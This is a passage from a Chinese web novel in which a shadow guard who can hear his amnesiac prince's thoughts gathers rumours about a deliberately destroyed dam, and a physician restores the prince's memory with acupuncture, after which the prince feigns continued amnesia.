王爷沉默地、缓慢地、心碎地转过了头,他低着头,两眼发直地看着水面,假装在看水面上漂浮的花瓣,实则人的魂儿已经飞没一半了。 他是实在没想到在他闭着眼享受着放飞思绪的时候,睁着眼睛的杨妃看见的是什么样的场景。 他看见的是一片片灰从身上落下来、使皮肤由黑变白的场景! 这对王爷的冲击属实不小,反正杨妃是再也听不见他的心声了。 咳咳。 其实王爷没必要如此受伤。 以他们这一路风餐露宿的经历来看,这一点污水算不了什么,也就是杨妃还没有洗澡,不然这水的颜色只怕是比王爷还要深。 毕竟王爷这一路上什么活都不曾干过,他和朱柿倒是又检查又刨坑的。 王爷这会儿呆呆的好像丢了魂,杨妃一时麻了爪,他不知道该怎么安慰王爷一下。 他看了看自己挽起衣袖湿了的胳膊。 要不要在王爷的面前搓一下自己的胳膊,表示一番他也没干净到哪里去? “……” 不不不,还是算了吧! 这念头只在他脑海里一闪而过。 杨妃可没忘记,刚才王爷还想着要和他共浴,万一王爷瞧见了他也需要洗澡,瞬间就忘记了方才那一点小别扭,反手就顺坡下驴,邀请他也脱光了,直接钻进浴桶里怎么办? 他可不能冒这个风险。 如此…… 思来想去还是赶紧给王爷洗完好x离开这里,让王爷独自整理下思绪比较好。 念头通达,杨妃的动作越发加快,内力清洗毛巾用的越来越顺手。 王爷这回脏了,怎么能怪王爷呢? 都怪他自己内力修行还是不到位,不然这一路上都可以直接用内力笼着王爷,将什么灰尘啊的全都震开,自然也就不用担心身体埋汰了。 杨妃迅速将王爷洗好擦干,将新买的衣服给王爷换上,又将王爷的头发用内力烘干,简单束起,方便王爷休息。 这一套流程下来,王爷都一言不发,显然还没回过神来。 直到杨妃将王爷安置到床上,王爷才小声的说了一句,“……路途辛苦,你也早点休息吧。” “是。” 这一晚上杨妃和朱柿交替看守王爷,但环境也算是安全,晚上平静的很。 各自只睡了半夜的杨妃和朱柿第二天神采奕奕,反倒是睡了整晚的王爷有点萎靡。 杨妃早早地就去了青阳城的集市,瞧上去不错的吃食都买了些,还顺便去官府门口和茶楼听了听消息。 他们这一路上为了躲避人烟几乎和时事脱节了,现在有条件,自然得填补上。 对消息没有一点了解,对他们来说便如同眼瞎耳聋一般。 王爷的失踪已经传到了京城,皇帝生气,这原本不在他们行进路上的青阳城也多了两分肃穆的气氛。 “狗娘地,连他奶的妓院都不开门了,爷浑身上下的火气都没处撒!”一个大汉将桌子拍得乓乓响,“小二,你瞎了眼了?爷要的好酒呢?怎么不见在桌子上?” 在角落里的杨妃一言不发地看着这闹剧,专心地听着这些喝茶吃早点的路人谈话。 “要我说还是皇帝老儿做得,瞧瞧人家,儿子还不一定死没死呢,就要咱先给人家守上孝了。” “谁不说是呢,原本一天做下了苦力就指望着这会儿吃吃茶,听听书,这会儿全都不成了。” “不过如今可见传言不实,人都说天家没有父子情,这回却闹得大了,头一回听说王爷出了事儿,还得叫人守丧的。” 嗯? 杨妃端起茶杯的手一顿,他挑了挑眉,他怎么不知道王爷和陛下父子情深? 而且他家王爷还没死呢,做这一出来是做什么? 是想让他家王爷死、还是不想让他家王爷死啊? 杨妃不理解,他耐着性子又继续听了一会儿这些人胡乱猜测,听着听着也没听到自己想要的。 之前遇到土匪时倒还听到土匪说陛下派了人去寻王爷,只是不知派的谁来,他刚刚在官府前也没瞧见寻找王爷的金榜。 这会儿听了半天,也没听见一句关于寻找王爷之类的话。 他就是想知道陛下派谁来,好看看是不是亲向他们的人,再决定要不要跟着找他们的人回去,就这点问题就这么难吗? 杨妃不想再在这里耗下去,干脆起身凑到了说的最欢的那一桌前,提着自己买的那壶茶很自然地加入其中。 “老哥哥。”杨妃对着那捋着胡须的中年男子道,“方才听你们说了半天,小子头一回听说这样的事,心里好奇。” “咱寻常的人家孩子丢了,上去还得找上一阵、闹上一闹,怎么却没听说那位皇帝陛下怎么找的孩子呢?” 那老兄弟两个本来听着杨妃偷听他们说话还觉得不喜,又见他很是上道地给他们两个倒满了茶,才勉为其难的开口。 “找啊,怎么没找?”他凑到杨妃耳边小声地说,“那叫一个好大的阵仗,乌泱乌泱地来的人数都数不清,据说那些人都够将河捞上一遍了。” “岂止呢!”另一个老大哥补充道,“据说皇帝生了大气了,要他们一定找回那个王爷,说若找不回,干脆叫他们也都跳河里算了。” “依我看啊,他们定是找不到了。” “那河堤直接被冲塌,水一泻而下,连鱼都不一定能活得下来,何况是人呢?” “听说那日河堤上的人,现在也就剩一个什么……会作诗的公子哥还活着,现在也被扣着了。” “是呢,这老话说的不假,杀人放火金腰带,修桥补路无尸骸。我听说啊,这河堤就是他们家监工的。” “结果他们家连吃带拿,偷工减料,导致那河堤直接被水冲垮了,河堤上的、那城池里的,能活下来的人巴掌可数。” “却偏偏他们家的人没事,这叫什么道理?” 那大哥说得义愤填膺,声音越来越响,杨妃眼见他有拍桌子的趋势,连忙又给他倒满了一杯茶。 “我听说那日河堤上人来人往,怎么就剩他一个了?” 杨妃听见那妖怪还活着的时候不觉得意外,妖怪就是妖怪,所有人都死了,只怕他也能活得下来。 他好奇的是,这大哥嘴里说的,怎么和他之前调查的相去甚远? 偷工减料? 绝无可能! 贪污? 无稽之谈! 水冲垮的? 荒谬! 第68章 杨妃离开客栈时心情还算轻松,等打探完一圈消息回去就再也笑不出来了。 事情的发生没有一点在他的预料范围之内。 到底怎么会发展成这个样子的? 政策如何这些市井之人当然不清楚全貌,可就算他们不知道,那些被广为流传的内容也足够引起杨妃深思了。 作为事件的当事人,可以说他除了幕后黑手是谁不知道之外知道事情的全貌。 杨妃对天发誓,整个决堤的意外根本就不涉及常规的腐败、偷工减料,河道总督便是有千般不好,在河堤的建设上也是尽心竭力了。 这点在他将自己的家眷、府邸都安排在下游,并且哪怕不断涨水也不曾将家眷送走来看,他对自己的工程十分有自信。 事实上,若不是那些死士以身引爆炸药,生生地将坚固的河堤炸裂了,导致它失去了足够抵抗洪水的能力,在湍急的水流中崩裂,他们是完全能撑到天晴的。 而不是像现在这样,整个下游十不存一。 这样一种明显人为导致的天灾,结果竟没有半点消息传出来,反倒将所有的一切都推到了连尸骨都不知道埋在哪里去的河道总督身上,那些人谈起来咬牙切齿的样子,倒像是要将所有的人命都加在他身上。 未免也太过荒谬了。 难道不应该去调查一下谁那么大的胆子去炸毁堤坝吗? 杨妃不理解。 难道说因为当时在场的人死的太干净了,这事没传出来一点? 那也不对啊。 不是说那妖怪还活着,现在正被准备找王爷的军队拘着吗? 那日的河堤上,他站的位置可没离王爷远多少,该看的不该看的应当全都看到了。 他怎么能做任这一场天灾就那么扣在河道总督身上? 他难道不想一想,他身为工部尚书的儿子,此次又奉旨过来检查河堤相关事宜,这河堤出了事,与他的父亲、与他自己跑不了干系吗? 若真的坐实到了河道总督身上,工部的人也逃不了罪责! 杨妃的眉头皱得紧紧的,他加快脚步,手上提溜着的食盒里还散发着一缕缕清香。 以他的脑子是想不明白这里面到底有什么缘故了,还是得赶紧告知王爷,这方面他家王爷是专业的。 只是专业的王爷现在处于失忆状态,不知道脑子还能剩下几分。 杨妃幽幽地叹了口气,现在可真是内忧外患,只希望他们的人接到消息赶紧来找王爷,若是能平安地回到京城,也算能多两分胜算。 说到这里…… 杨妃的眉头拧得更紧。 陛下派人来寻找王爷,倒是闹得声势浩大,军队一路风风火火的过来,拿的是一副要将整个水经之地翻个底朝天的架势,实际上来了之后停在那里就没有过大动作。 据那些民众的不完全可靠消息,来的是一位德高望重的老官,是从前的太子少师。 据说太子少师一路风尘仆仆,快马加鞭地赶来,沿途见了流亡的难民心生怜悯,随行的粮草都分发出去不少,等到了水患之地,见了那些顺水漂流的尸体,当下便病倒一病不起了。 杨妃:“……” 这种明显需要找人的体力活,就不要派已经八十多岁高龄的太子少师来了啊! 那老头哪里经得起这个折腾,只怕从京城一路星夜兼程地赶到这里,都能要了他的半条命了,哪里还有精力去指挥军队四处搜索王爷呢? 杨妃不知道是朝廷的哪位大人出的这样一个顶好的主意,但x他觉得出主意的那位和答应了这个主意的那位好像对王爷的生存不抱什么希望的样子,并且多少有点嫌弃太子少师活得久了。 他磨了磨牙,发誓等到了京城就先送那个出主意的归西。 瞧现在这一伙官方来的搜查队伍的模样,他和这拨人会合再返京的打算便不大合时宜了。 还是得靠他们自己回京啊…… 杨妃难掩忧虑,不想让他家王爷回京的人太多,王爷又失忆着,他们尚在弱势,这两天还能喘口气,等他们的人聚集在一起,想隐藏王爷的行踪就不像三个人时那般简单了。 这条路回去多半是少不了截杀得了。 杨妃回到客栈时朱柿正殷勤地给王爷端茶捏肩,而王爷还是一副厌厌的样子,还没有完全从路途的奔波中缓过劲来。 杨妃一瞧靠在椅背上的王爷,只感觉自己的压力变得更大了。 若是王爷没有失忆的话,这些动脑子的活原也用不着他来代劳的,王爷自己干的比他不知道好上多少。 可现在…… 王爷能一直坚持着,没抱怨一句就已经很让杨妃觉得意外欢喜了。 希望赶来的浅云能治好王爷的毛病,不然王爷以这个状态回京,被圣上知道了也是登基路上的阻碍。 杨妃沉默地将买来的吃食一件件在桌子上摆好,思索着待会将王爷喂饱就劝他继续睡去,而他则好去青阳城的道观佛寺上给王爷求一求签。 青阳城的早点是小巧精致的,王爷一口一个吃的欢快。 失忆之后的王爷少了些皇族的架子,热情地招呼杨妃和朱柿坐下和他一起吃,被婉拒。 开什么玩笑,朱柿的头都快摇成了拨浪鼓,失忆的是王爷,又不是他们俩! 为了避免王爷再说出什么让他们俩为难的话,杨妃和朱柿这对难兄难弟之间也生出了一股默契。 他俩你一筷子我一筷子地给王爷投喂,硬生生将王爷喂的脸颊鼓鼓说不出话来,只留下一两句心声给杨妃独享。 【这王爷还真是当得,衣来伸手,饭来张口的。】 【尤其是被美人投喂,简直是神仙日子。】 【这些天逃难的时候三个人都灰头土脸的,最严重的时候黑的都分不出来眉毛。】 王爷一边咀嚼一边盯着杨妃和朱柿猛瞧。 【今日都洗得白白净净,忽然发现不只是杨妃长得英俊潇洒,就连朱柿也有两分清秀可人。】 杨妃给王爷盛汤的手听到这话一顿,瓷勺和碗壁撞击出一声轻响,他不经意地扫了一眼朱柿。 清秀可人? 这家伙也没想称得上吧,五官也还算端正,瞧着就像长不大的少年似的,倒也称得上清秀。 不过……可人吗? 王爷,你?! 怎么失忆之后这么看脸的么? 杨妃嘴角抽搐了一下,端着的那碗莼菜蛋花羹推到了王爷面前。 喝点清淡的,去去火吧,王爷。 这些天可真是苦着王爷了,瞧什么都觉得可人。 【据说王爷的影卫有好多人,我这也才见了两个,两个的容貌身材竟然都是人中翘楚。】 王爷拿着汤勺的手抖了一下,汤汁落在了手背嘶了一声,朱柿连忙拿帕子给他擦拭。 【等一下,影卫们首要的不应该是武力高强吗?】 【为什么我的这些影卫们个个都要长得这么好看?】 【难道说——】 【失忆之前的我偏爱英俊的男人吗?而且见一个爱一个?】 【那我也太不是个东西了。】 王爷顿时陷入了自己到底是不是个渣男的自我怀疑中,眼神不断地在朱柿和杨妃身上游移,最终还是否决了自己的判断。 【不不不,我肯定不是这样的人。】 【人家连饭都不想和我一起吃,肯定就是单纯的影卫和王爷的关系。】 王爷充分发挥自己聪明的大脑。 【若真是我想的那种……关系,我失忆的这段时间不得是最佳的讨好时间?】 【可这些天下来也没瞧见有什么暧昧的……】 杨妃听不出来王爷这些感叹到底是遗憾还是庆幸,他只是更加坚定了自己去寺庙里求签的决心。 他现在觉得王爷不单单是失忆那么简单,而是在撞击中除了失忆之外,脑子也出了点问题。 吃饱喝足,昨晚上本就辗转反侧没休息好的王爷本就生出了些困意,再加上杨妃又在他耳边絮絮叨叨地说着外面的现状,王爷听着听着便觉得自己要睡着了。 他不是故意想睡的,只是他现在这个脑子一努力思考起来就头疼。 王爷晃了晃头,努力睁大眼睛,试图去理解杨妃的话,可脑子却一片空白。 杨妃看在眼里,嘴上没说什么,心里却叹了口气。 他家王爷真的很需要喝药了,待会儿去求签之前先去医馆找大夫问问这状况该吃些什么药吧。 杨妃将该说的都说完了,也没强求晕乎乎的王爷给他个答案,温温和和地劝王爷继续去睡,自己嘱咐了朱柿就离开了客栈。 这小地方的医馆不见得有什么名手大夫,但也有两分本事在身。 杨妃连走了几家医馆,隐去那些不能讲的,将王爷的状况简单说了,尤其强调一下脑后被撞击的血迹,他觉得王爷的失意和反常离不开这个。 那些大夫给出来的结论大差不差。 “淤血内生,上扰清窍,蒙蔽心神,瘀阻脑络,神明失用。应当活血化瘀,通窍醒神,月余便可痊愈了。” “可用通窍活血汤,若是再辅以针刺百会、四神聪、风池、太阳等,效果更佳。” 通窍活血汤,杨妃用了,至于给王爷针灸头顶大穴,他还信不过这些大夫,不如等浅云过来施针来的放心。 杨妃拎着药,青阳城内每一处能求签的地方都没放过,平安符捏在手里捏成了一串,又在城中晃悠了半天,没听到什么新鲜消息便赶在王爷醒之前回去煎药了。 等王爷迷迷糊糊醒来的时候,那碗药刚好到了能入口的温度。 王爷:“……” 在客栈里的一天,对王爷来说除了吃就是睡,又单调又充实,就在王爷以为日子要继续这样奢靡地过下去时。 第二天。 王爷像昨天一般睁开眼睛,脑子里还在思考着今天杨妃会给他带什么新鲜花样,可才一睁眼,就连忙闭上。 他一定没睡醒。 王爷寻思着,又睁开了眼睛,瞳孔放大。 “救救救——” 他惊恐的出声,抓着被子将自己团成一团,努力往墙上靠,救命的话还没说完整就被眼疾脚快的杨妃堵上了嘴。 王爷抓着杨妃的手腕,看着屋里乌泱乌泱地人头,差点没背过去去。 杨妃赶忙拍了拍王爷的后背让他冷静下来,然后才告诉他这些都是循着记号或他留的消息找过来的影卫,都是自己人,不是什么刺客。 “咕嘟。” 王爷咽了口唾沫,勉强冷静下来,他伸手擦了擦额角渗出的冷汗,目光扫过这些影卫的脸,越来越觉得他没失忆之前一定是个唯色是图的人。 这一个个的长得都不错,王爷看着他们努力的回想,试图唤起些相关的记忆,最终只得到了更疼的脑袋。 浅云瞧出来了王爷的不对劲,上前一步,“主子,属下懂些医术,冒昧为王爷瞧一瞧吧。” 王爷瞧见了陌生人有些不大情愿,杨妃抓住了王爷的手腕悄悄捏了捏,才让王爷乖乖地让浅云给他把脉。 杨妃在一旁给影卫们使手势,表示王爷现在处于失忆状态,影卫们纷纷错愕,担忧地看着王爷,等着他们之中医术最好的这个给出个答案来。 大家心里都清楚,要是王爷没有一点恢复的机会,他们这些人和拿了阎王殿的通行证也差不了多少了。 好在浅云皱着眉叹了半晌松了口气。 “还好还好。”浅云将自己随身带着的小包摊开,各样的针灸用针展开在大家面前,“王爷失忆是因为脑中有淤血,不过目前来看并不严重,而且已经有了见好的趋势。” “待我为王爷行针几次,王爷就会渐渐恢复记忆了。” 浅云捏着针看向杨妃,询问要不要现在就为王爷施针灸。 “主子才醒呢,这些日子受了苦了,还是先趁热吃些东西吧。” 杨妃也是很想让王爷赶快恢复正常,带他们走出困境的,但是一转头瞧见王爷瞅着针有点忐忑的神情,就不由得心软了些。 那些失忆的日子忍也忍过去了,不差这一顿饭的功夫。 这一顿饭堪称是王爷吃的最食不知味的一次,对他来说甚至都不如那些逃难的日子里啃的干巴饼子好吃。 王爷坐在椅子上坐立难安,连吃的是什么都不知道。 他控制不住自己,目光总想四处飘,他太好奇那些影卫们是怎么做x到嗖嗖嗖的全消失在他面前的,明明好像也没推窗推门离开啊? 王爷眨了眨眼睛,屋顶一如既往,他想不出哪里能藏下那么多的人。 他看了一眼杨妃,最后也没问出口,开始为别的事烦心。 “杨妃啊……”王爷用勺子搅着碗里的汤,看着葱花起起伏伏,“你说我恢复记忆的几率大吗?” 王爷只是失忆了,不是傻,他能感觉到这些人包括杨妃在内,都是急迫希望他赶紧恢复记忆的。 他也不是什么都不懂,杨妃一件事没落地都告诉了他,他知道他们现在处境有多危险,而相比失忆之后,只会享受什么都不是的自己,失忆之前的那个人才是能带他们力挽狂澜的人。 “主子放心,浅云的医术比起宫中的太医大人来说也是不差的,他既然说能医好王爷的疾病,便肯定能。” 杨妃以为王爷害怕那些闪闪发亮的银针,“王爷莫担忧,针灸是浅云的拿手好戏,必不让王爷难受。” “我不是说这个。”王爷摇了摇头,他现在心情复杂和怕不怕痛没有关系,“我是说……万一针灸之后我还没有恢复记忆怎么办?” 他认真地看向杨妃,“你们也说了,咱们是从湍急的洪水中幸存下来的,万一水那样急,我不是你们想救的王爷,怎么办?” 若他真的不是那个能力挽狂澜的王爷,他们会直接弃他不顾吗? 他们会因此而受伤丧命吗? 王爷的心里满是疑惑。 当他察觉到这些人迫切想要他恢复记忆时,他是难过的。 对这些人来说,他们真正承认的永远是之前那个人。 对杨妃和朱柿来说,他们万般照顾处处留心的其实也是之前的那个人。 和他这个头脑空空的人好像毫无关系。 王爷觉得自己的脑袋可能真的有点病,竟然还想什么恢复记忆之后,现在的自己会不会被取代这种没道理的问题。 他放弃了寻找答案,便也没等杨妃的回答,直接摇了摇头,“算了,想必你们也不会认错人的,毕竟我醒来时,身上穿的那一身破烂的衣服料子比现在的不知道好上多少倍。” “呼——” 王爷直接端起了那碗汤一饮而尽,豪迈的擦了擦嘴,自顾自地坐到床上。 “好了,本王吃好了。” 王爷对杨妃说道,“事不宜迟,就叫那个谁来给本王施针吧,早些恢复记忆总是好的,也省得你们这样担心。” “本王直接坐在床上就行了吗?” “主子躺下即可。” 房梁上左等右等终于等好了的浅云直接跳了下来,针灸用的针已经被他拿在手里,好像迫不及待地就要往王爷的脑袋上扎了。 王爷嗯了一声,板板正正地躺在了床上,闭上眼睛不去看那离他越来越近的针。 【若我再也不会出现,杨妃会想我吗?】 第69章 杨妃沉默地在床边站着,听着床上的王爷,呼吸逐渐平稳,心情平静的很。 他知道要不了多久王爷的病就会被治好,他们的生活也会重新恢复正轨,又能继续登临皇位的伟大事业,他也离退休又近了一步。 至于王爷心里那种将“失忆前”和“失忆后”分成两个人的行径,和他那些勿自伤神的想法,他是不在乎的。 在他这里,王爷自始至终都是那个王爷,没有一点变化。 硬要说他苦恼什么,那得说是为什么失忆之后的王爷对他也有非分之想。 杨妃想不清楚缘由,他不知道面对失意的王爷时,那个灰头土脸万分狼狈的自己怎么又能引起他的兴趣了? 不过这些已经都不重要了,他更熟悉的那个王爷马上就回来了。 浅云的针一针一针地扎在王爷的穴位上,内力顺着那根银针被他一点点地引导到王爷的穴位中,温和的内力能加快他体内淤血的清除速度。 这对王爷来说或许有点不太适应。 杨妃留意到沉睡中的王爷眉头皱得紧紧的,那双手也使劲抓住了被子。 王爷似乎有挣扎的趋势。 杨妃眼疾手快地扳住王爷的脸,成功将想要转头的王爷制止。 “在旁边愣着干什么?还不快来摁住王爷。”手底下的王爷挣扎的趋势越来越大,杨妃连忙给旁边的人使眼色,免得因为王爷的动作导致浅云扎错了穴位。 这可是在脑袋顶上施针! 万一一个没扎好将王爷扎的傻了,他们也不用想方设法的回京了,干脆在这里找个风水宝地,他们和王爷一并埋在一处算了! 旁边的两个影卫连忙上前,七手八脚的和杨妃一起将王爷固定住。 “就算再急着让王爷恢复记忆,下手也要轻一点啊……” 杨妃蹙着眉,眼神中闪过一丝心疼,看给他家王爷疼的,就算是他和朱柿带着王爷逃难的时候,也没让王爷受这个罪啊。 浅云捏着针一点点的旋转,他额头上的汗水已经能顺着脸颊滴落,此刻正全神贯注地给王爷施针,就算他听见了杨妃的话也没精力回复。 人脑是多么精密的器官,他这样一针针地扎在王爷头部的穴位上,还要向里灌输内力,便是只分心一点点,都有可能造成不可挽回的后果。 至于杨妃说的轻点…… 他办不到。 想要王爷快点恢复,这些代价是必须的。 而且王爷现在不是昏着吗? 浅云在心里想,他可是专门点了王爷的睡穴的,他现在无论对王爷做什么等王爷醒来都不会知道的。 而且只是一点点痛罢了,就算王爷知道,他也能理解。 如此想着,浅云只管专注手上的动作,顶多对将王爷恩的稳稳的几个人第一个赞赏的眼神,便将杨妃视若无物。 杨妃能怎么办? 他又不敢打断浅云,便只能板着王爷的脸,看着王爷的冷汗顺着两鬓滴到枕头上。 看来需要再给王爷烧一次洗澡水了,这一身衣服应该也不能用了,不知道他们打京中来有没有带王爷的新衣? 杨妃没头没脑的乱想,又开始猜测,待王爷醒来之后会不会有他失意时候的记忆? 要知道王爷失忆的时候可是对之前的自己万般不满,又嫌弃蠢又嫌弃无能,甚至还觉得自己是个渣男。 这要是王爷全都记得,怕不是会直接钻到被窝里不肯出来。 哦,他又错了,杨妃迅速否定自己,能做出往被窝里钻这种事的只有失忆的王爷。 在所有影卫们的注视之下,一个时辰后,浅云才拔掉了他那些银针,杨妃殷勤地给王爷擦汗,甚至还出去买了一身新衣服。 直到他将王爷收拾好了,新衣服也穿上了,王爷都没醒。 “这是正常的。”浅云顶着杨妃要杀人的目光淡淡地说,“你没看主子现在正皱着眉呢吗?” “我又不是神仙,做个法王爷就全好了,消化淤血怎么说也得一个晚上。”他嫌弃地将挡在面前的杨妃拨弄到一边去,把手里冒着烟的药香放在王爷头上,任由那些烟顺着王爷的鼻腔被吸入。 “你也莫在这里站着了,我还能把主子怎么地不成?”他摇晃着手腕,烟均匀地向下垂落。 “你老在这里盯着我,怪不舒服的,还不如早点去休息,等王爷醒了我们有的是事要干。” 浅云真的受不了杨妃灼热的目光了,他直接对着他翻了个白眼,空着的手指了指头上。 “这屋里又不止我一个,你有什么不放心的?怎么这一趟遇着了危险,连兄弟们都信不过了?” 杨妃在他旁边站着,一句话都没来得及说,叮了咣啷地被浅云怼了一顿,“我当然信你。” 他重重地叹了口气,“算了,我先去休息,若是有事,你喊一声,我便来了。” 他不是信,不过他的医术,只是信不过王爷。 万一王爷醒来之后还没太回过神来,失忆时候的那个王爷的记忆占上风直接做出来点不符合从前王爷的举动,他怕恢复了记忆的王爷缓过神来觉得没面子。 他这也是为了浅云好,他只是怕他被王爷迁怒而已! 要是他在这里,气氛还能有所缓和。 不过浅云说的也对,等王爷苏醒过来有的是活需要干,那才是一场又一场的硬仗,没必要在这里空耗精力,他还不如抓紧时间休息恢复内力。 杨妃说走就走只给浅云留一个干脆利落的背影。 他的房间离王爷不远,客栈的隔音又没有多好,以杨妃的耳力完全能听到这屋里发生的任何事。 当这个屋子里出现被褥的摩擦声时,坐在床上打坐的杨妃嗖的一下睁开了眼睛,毫不犹豫地下床推门而出。 他马上就能知道王爷到底还记不记得这段时间的记忆了。 【啊啊啊啊x啊啊——】 杨妃站在门口手还未来得及搭在门框上,王爷撕心裂肺的尖叫声就随着心声传到了他的耳朵。 他猛地甩了甩头,只觉得一阵耳鸣。 好了,现在不用见到王爷,他都知道结果了。 能让王爷如此失控的尖叫,那必是他还记得这段时间发生了什么。 【本王到底做了些什么——】 杨妃在门口都听到了王爷用力拽紧被子的声音,听上去好像连被子都被王爷撕出了个口子。 【本王真的只是失忆了,而不是直接将脑子顺着河水一并丢走了吗?】 【自己骂自己,本王应该也是前无古人后无来者了吧!】 【除了肯定了本王的审美,一眼就看上了本王爱上的人,失忆之后的自己还真是一无是处呢。】 王爷被气得头脑发昏,也算是继承了失忆时自己的传统,毫不留情地痛骂了自己一顿。 杨妃就这样听着王爷的心声逐渐稳定,面无表情地忽略了那些爱不爱的言论,平静地推开门。 “主子。” 浅云正给王爷把脉,敏锐地感觉到手腕下的脉搏骤然急促,很是不满地抬头瞪了杨妃一眼。 这家伙什么时候像现在这样毛毛躁躁的了? 不知道王爷大病初愈需要静养吗? 就这么连门都没敲突然就进来,都将主子吓了一跳了? 杨妃清晰地接收到了浅云的谴责信号,不过他敢对天发誓王爷心跳突然加速和他敲不敲门没有什么关系。 纯粹是因为王爷在心里想着爱不爱他的事,乍一听到他本人的声音,有一种被抓包的错觉罢了。 浅云懂什么,他什么都不懂! 他的烦恼在所有影卫中也是独一份的! “咳咳。”王爷掩唇干咳了两声,“杨妃,你来了?” 杨妃:“……” 王爷这话在杨妃听来感觉怪怪的,但他又说不上哪里奇怪,只得干巴巴地回应了一声。 “是……,主子可好些了?” 此话一说出口,杨妃就又被浅云狠狠地瞪了一眼,这下他是真的觉得有点尴尬了,他没有怀疑浅云的医术的意思啊! 不过好在王爷在这里,就算浅云再瞧他不顺眼,也不至于和他直接动手。 “杨妃啊,这段时间都发生什么了?”王爷皱着眉,伸手不停的去揉自己的额角,“本王怎么觉得头昏昏沉沉的,之前我们不是还在坝上吗?现在这是……” 浅云:“???” 浅云直接给杨妃表演了一个什么叫做大惊失色,他当即瞪圆了眼睛,不可置信的望着王爷,甚至很是失礼的伸手去扒王爷的眼皮,一遍又一遍地摸着王爷的脉搏。 这不可能啊? 他怔愣地转头看向杨妃,眼神清晰地传达了这几个字。 “主子,您先躺下。”浅云擦了擦自己额头瞬间冒出来的冷汗,伸手搭在主子的肩膀上,轻轻将主子重新摁倒下去,转身就又将自己针灸的小包拿出来,捏着针就要去扎王爷。 “等等!住手!” 王爷一瞧那发光的针尖,瞳孔瞬间收缩,连忙伸手挡在身前并出声制止,“你这是做什么?” “主子。”被挡住的浅云有点急了,“主子您快躺下,按理来说不应该再失忆的啊,一定是哪里出了问题。” “让属下再给您好好看看,应当是缺了几针,您先睡一觉。” “等属下又施针完了,所有记忆就都会回来了。” “不必了——” 王爷惊慌的声音有点尖锐,他本能地转头看向杨妃,“想必这些日子小命都在本王身侧,那些记忆不回想起来也罢,重要的事情告诉本王就行了。” 王爷深呼了一口气,“你看顾本王一夜也累了,不必再消耗精力为本王施针了,就去休息吧。” “若有需要会再叫你的。” 王爷直接挥手让杨妃将浅云拉出去,心知肚明是怎么回事的,杨妃也配合,一头雾水的浅云就这样被直接拉着胳膊拽出了屋。 他人都离开了这里,眉毛还死皱在一块儿,脸上的不可置信都没有褪去一点。 他实在不理解,以他对医术和王爷病症的把握,不应该出现这种意外啊? 难道是他医术真的不行? 难道杨妃一直盯着他不放心是有缘由的? 知道真相的杨妃送走了浅云,转过身就装作什么都不知道的样子,又殷勤又心疼地凑在王爷身边,拿着帕子擦了擦王爷被吓出来的冷汗。 瞧他可怜的王爷啊,打昨天见到浅云到现在,这冷汗都不知道流了多少了。 待会儿可得多打些汤叫王爷喝,不然光流冷汗都能脱水了。 被杨妃拯救于水火之中的王爷狠狠的松了口气,他逃过了被针扎的命运,正对上杨妃担忧的眼神,缓了缓神。 打发走了什么都不知道的浅云,现在该他想办法怎么能骗过眼前的杨妃了。 这个才是最懂他的,若是他装的不好很容易就会发现自己在装失忆。 就算杨妃不问他为什么要装作不知道这段时间发生了什么,他也不想杨妃觉得他有事在瞒着他。 【我们之间可以没有秘密。】 第70章 不,主子。 我们之间只有你没有秘密。 杨妃默默地在心里给王爷的心声添加备注,面上却不显分毫,只管专注的配合王爷的表演。 其实王爷不用在心里忐忑那么多了,为了避免多余的麻烦,他也会竭力配合的。 总之,那头的王爷在心里想了无数种和杨妃狡辩自己为什么装作失忆的场景,竭力维持自己平静中带着一丝懊恼的神情,“本王这脑袋真是越来越不够用了,这段时间发生了什么?” “就从坝上说起吧。”为了这戏演的更真实,王爷甚至还伸手敲了敲自己脑门,“我只记得一声巨响,后面怎么了,言简意赅即可。” 杨妃的目光在王爷被敲红的额头上短暂停留,嘴角微微上挑又迅速压平,配合着王爷生硬的演技,用最简短的语言简述了一番王爷这段时间的壮举。 考虑到王爷恢复记忆之后一并重新背上的形象包袱,作为最贴心的影卫,他很是自然地隐去了那一系列有损王爷形象的事。 只是王爷心虚的很,每一次听到杨妃特意略过的部分那眼神就无处安放第四下游走,在杨妃短短汇报的时间内,他不知道掩嘴轻咳了多少次。 王爷真的很不适合在他面前撒谎。 杨妃很想叹气,拿出了自己这么多年来忍笑的专业素养,总算是在王爷有心之下将这一部分轻轻接过了。 除了这些,剩下的事杨妃就不知道了,和京中留守的影卫接头之后他所有的注意力都在至于王爷身上,还没来得及和他们互通有无。 所以当王爷问出“最近朝中可有大事?”时,杨妃张嘴却哑然。 该死!他竟然被王爷问住了!大失职! “……” 这大概是王爷的问题,头一次没有得到回应,他也颇为诧异地仰头看向杨妃,瞅着他那一副好似连耳朵都耷拉下来的失落姿态笑了一下。 旋即就反应过来这到底是怎么一回事了。 他是最懂他这个影卫的,若是说这世上能有一件事是让他忘了工作,那就一定涉及到他的安危。 他失真昏睡的这一段时间,怕不是杨妃一直在旁边守着他,一直担忧呢吧? “罢了。”王爷带着两分笑意,“去叫浅云过来吧,王府中的事务我也有一段时间未曾过问了,刚好便一并问了他。” “是。” 杨妃如蒙大赦几乎是用着轻功出了屋,完全没有想到还要提醒王爷不久前才叫浅云去休息。 他们做影卫的,一会儿工夫就能恢复状态,他又给王爷讲了许久的故事,想必浅云已经睡了两回觉了吧。 浅云:“……” 被理直气壮的杨妃直接叫起来的浅云庆幸自己没有真的脱了衣服睡觉,如果眼神能杀人,那杨妃的坟头草在他这里一定有两米高了。 硬推他出了王爷的门去休息的是他、硬将他从床上叫起来拉进王爷的屋的也是他。 浅云身上的怨气简直比鬼还要重,直到他瞧见了王爷才恢复了正常。 罢了罢了,浅云迅速将自己哄好,怎么说,也是一个在王爷面前展现自己工作水平的大好时机,他姑且就不和杨妃一般见识了。 王爷失踪的这一段时间朝野和王府都发生了不少事,须得他慢慢说才行。 “坝上的意外最后怎么解决的?”王爷还是比较关心这个,京中有没有调查一番这次意外的幕后黑手? 以及……那些传言到底是怎么回事? 他的好父亲有想过给他报仇吗? “主子……”王爷一上来提起这个,浅云的表情就有些不自然,“京中x目前盛传那一日雷声大作,天降雷霆于坝上,见……众人皆落入水中方止,此后云消雨霁,天下太平。” 他说完这话便有些沉默,悄悄地抬头去瞄王爷的表情,果然见到王爷脸色铁青,便没有继续再说下去。 杨妃:??? 杨妃已经快要气死了。 这个传说版本的比他前日里听到的更让他气愤,这一定是炸堤坝的那人传出去的! “什么意思?”王爷伸手捂着自己的胸口,俨然被气得不轻,他才清醒了,但脑子有一阵晕眩,“这是在说本王天所不容吗?” “还是说这场连日不绝的雨,滔滔不绝的洪水都是因为本王有罪吗?” “哈?” 